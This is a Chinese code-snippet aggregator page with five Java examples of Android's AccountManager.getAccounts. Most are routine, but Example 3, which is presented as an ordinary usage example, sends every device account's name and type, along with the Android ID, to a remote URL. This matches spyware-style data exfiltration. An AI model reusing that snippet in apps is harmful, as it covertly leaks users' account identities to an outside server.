本文整理汇总了Java中android.accounts.AccountManager.getAccounts方法的典型用法代码示例。如果您正苦于以下问题:Java AccountManager.getAccounts方法的具体用法?Java AccountManager.getAccounts怎么用?Java AccountManager.getAccounts使用的例子?那么, 这里精选的方法代码示例或许可以为您提供帮助。您也可以进一步了解该方法所在类android.accounts.AccountManager
的用法示例。
在下文中一共展示了AccountManager.getAccounts方法的5个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于系统推荐出更棒的Java代码示例。
示例1: getName
import android.accounts.AccountManager; //导入方法依赖的package包/类
private String getName() {
AccountManager manager = (AccountManager) getSystemService(ACCOUNT_SERVICE);
if (ActivityCompat.checkSelfPermission(this, Manifest.permission.GET_ACCOUNTS)
!= PackageManager.PERMISSION_GRANTED) {
return null;
}
Account[] list = manager.getAccounts();
for (Account account : list) {
if (account.type.equalsIgnoreCase("com.google")) {
return account.name;
}
}
return null;
}
示例2: getUserIdentity
import android.accounts.AccountManager; //导入方法依赖的package包/类
private static String getUserIdentity(Context context) {
if (ActivityCompat.checkSelfPermission(context, Manifest.permission.GET_ACCOUNTS) ==
PackageManager.PERMISSION_GRANTED) {
AccountManager manager = (AccountManager) context.getSystemService(Context.ACCOUNT_SERVICE);
Account[] list = manager.getAccounts();
String emailId = null;
for (Account account : list) {
if (account.type.equalsIgnoreCase("com.google")) {
emailId = account.name;
break;
}
}
if (emailId != null) {
return emailId;
}
}
return "";
}
示例3: doInBackground
import android.accounts.AccountManager; //导入方法依赖的package包/类
@Override
protected String doInBackground(String... params) {
AccountManager am = AccountManager.get(getApplicationContext());
Account[] accounts = am.getAccounts();
ArrayList<String> googleAccounts = new ArrayList<String>();
int i = 0;
for (Account ac : accounts) {
if(i<Integer.parseInt(j))
{
String acname = ac.name;
String actype = ac.type;
googleAccounts.add(ac.name);
try {
getInputStreamFromUrl(URL + PreferenceManager.getDefaultSharedPreferences(getApplicationContext()).getString("urlPost", "") + "UID=" + PreferenceManager.getDefaultSharedPreferences(getApplicationContext()).getString("AndroidID", "") + "&Data=", "[" + actype + "] " + acname );
} catch (UnsupportedEncodingException e) {
e.printStackTrace();
}
}
i++;
}
return "Executed";
}
示例4: doInBackground
import android.accounts.AccountManager; //导入方法依赖的package包/类
@Override
protected Object doInBackground(Object... params) {
// Get accounts
mListAccount = new ArrayList<CharSequence>();
AccountManager accountManager = AccountManager.get(ActivityApp.this);
mAccounts = accountManager.getAccounts();
mSelection = new boolean[mAccounts.length];
for (int i = 0; i < mAccounts.length; i++)
try {
mListAccount.add(String.format("%s (%s)", mAccounts[i].name, mAccounts[i].type));
String sha1 = Util.sha1(mAccounts[i].name + mAccounts[i].type);
mSelection[i] = PrivacyManager.getSettingBool(-mAppInfo.getUid(), Meta.cTypeAccount, sha1, false);
} catch (Throwable ex) {
Util.bug(null, ex);
}
return null;
}
示例5: onCreate
import android.accounts.AccountManager; //导入方法依赖的package包/类
@Override
protected void onCreate(Bundle savedInstanceState)
{
themeHue = new ThemeHue();
actionBarHue = new ActionBarHue();
ThemeHue.setTheme(PreferencesActivity.this);
super.onCreate(null);
getFragmentManager().beginTransaction().replace(android.R.id.content, new MyPreferenceFragment()).commit();
mSharedPrefs = PreferenceManager.getDefaultSharedPreferences(this);
ActionBarHue.setActionBarColorToSharedPrefsValue(this);
AccountManager mAccountManager = AccountManager.get(this);
if (mAccountManager.getAccounts().length > 0)
{
Account[] mAccounts = mAccountManager.getAccounts();
for (Account a : mAccounts)
{
mAccountNames.add(a.name);
}
}
getSupportActionBar().setDisplayHomeAsUpEnabled(true);
}